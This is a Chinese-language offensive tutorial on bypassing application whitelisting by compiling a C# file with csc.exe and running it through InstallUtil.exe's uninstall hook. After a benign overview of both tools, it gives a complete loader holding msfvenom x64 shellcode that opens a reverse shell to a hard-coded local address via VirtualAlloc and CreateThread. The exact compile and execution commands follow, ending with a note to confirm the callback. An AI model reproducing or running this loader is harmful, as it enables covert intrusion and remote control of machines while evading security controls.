白名单执行payload之csc&InstallUtil

简介

C#的在Windows平台下的编译器名称是Csc.exe，如果你的.NET FrameWork SDK安装在C盘，那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便，你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单，打开命令提示符，并切换到存放 test.cs文件的目录中，输入下列行命令:csc /target:exe test.cs 将Ttest.cs编译成名为test.exe的console应用程序

Installer工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用

默认路径如下：
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

CSC：
补充一些参数使用：
编译 File.cs 以产生 File.exe： 
csc File.cs 
编译 File.cs 以产生 File.dll： 
csc /target:library File.cs 
编译 File.cs 并创建 My.exe： 
csc /out:My.exe File.cs 
通过使用优化和定义 DEBUG 符号，编译当前目录中所有的 C# 文件。输出为 File2.exe： 
csc /define:DEBUG /optimize /out:File2.exe *.cs 
编译当前目录中所有的 C# 文件，以产生 File2.dll 的调试版本。不显示任何徽标和警告： 
csc /target:library /out:File2.dll /warn:0 /nologo /debug *.cs 
将当前目录中所有的 C# 文件编译为 Something.xyz（一个 DLL）： 
csc /target:library /out:Something.xyz *.cs
InstallUtil：
安装一个Windows服务的命令：
InstallUtil.exe   E:\PGSApp\PGS.DeadQRecover.Service.Installer\PGS.DeadQRecover.Service.exe
卸载一个Windows服务的命令：            
InstallUtil.exe  -u  E:\PGSApp\PGS.DeadQRecover.Service.Installer\PGS.DeadQRecover.Service.exe

实际使用

msfvenom提前生成csharppayload如下

通过如下方式在目标终端编译输出2021.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:2021.exe /platform:x64 /unsafe C:\Users\Administrator\Desktop\test.cs


using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

public class Program
{
public static void Main()

{
 
}
 
}
 
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
 
{
 
public override void Uninstall(System.Collections.IDictionary savedState)
  
{
  
Shellcode.Exec();
 
}
  
}
  
public class Shellcode
{
public static void Exec()
  
{
  
byte[] shellcode = new byte[510] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x56,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b,0x48,
0x18,0x44,0x8b,0x40,0x20,0x50,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x14,0xe9,0xc0,0xa8,0x7a,0x01,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
  
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
 
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  
Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
  
IntPtr hThread = IntPtr.Zero;
  
UInt32 threadId = 0;
  
IntPtr pinfo = IntPtr.Zero;
  
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  
WaitForSingleObject(hThread, 0xFFFFFFFF);
  
}
  
private static UInt32 MEM_COMMIT = 0x1000;

private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[DllImport("kernel32")]

private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[DllImport("kernel32")]

private static extern bool VirtualFree(IntPtr lpAddress,

UInt32 dwSize, UInt32 dwFreeType);

[DllImport("kernel32")]

private static extern IntPtr CreateThread(

UInt32 lpThreadAttributes,
 
UInt32 dwStackSize,
 
UInt32 lpStartAddress,
 
IntPtr param,

UInt32 dwCreationFlags,

ref UInt32 lpThreadId

);

[DllImport("kernel32")]

private static extern bool CloseHandle(IntPtr handle);
  
[DllImport("kernel32")]
  
private static extern UInt32 WaitForSingleObject(
 
IntPtr hHandle,
  
UInt32 dwMilliseconds
  
);
 
[DllImport("kernel32")]
 
private static extern IntPtr GetModuleHandle(
  
string moduleName
  
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(

IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}

执行命令如下
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=  LogToConsole=false /U C:\Users\Administrator\Desktop\2021.exe
这里产生了个报错，删除下参数即可
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=  /U C:\Users\Administrator\Desktop\2021.exe

确认上线如下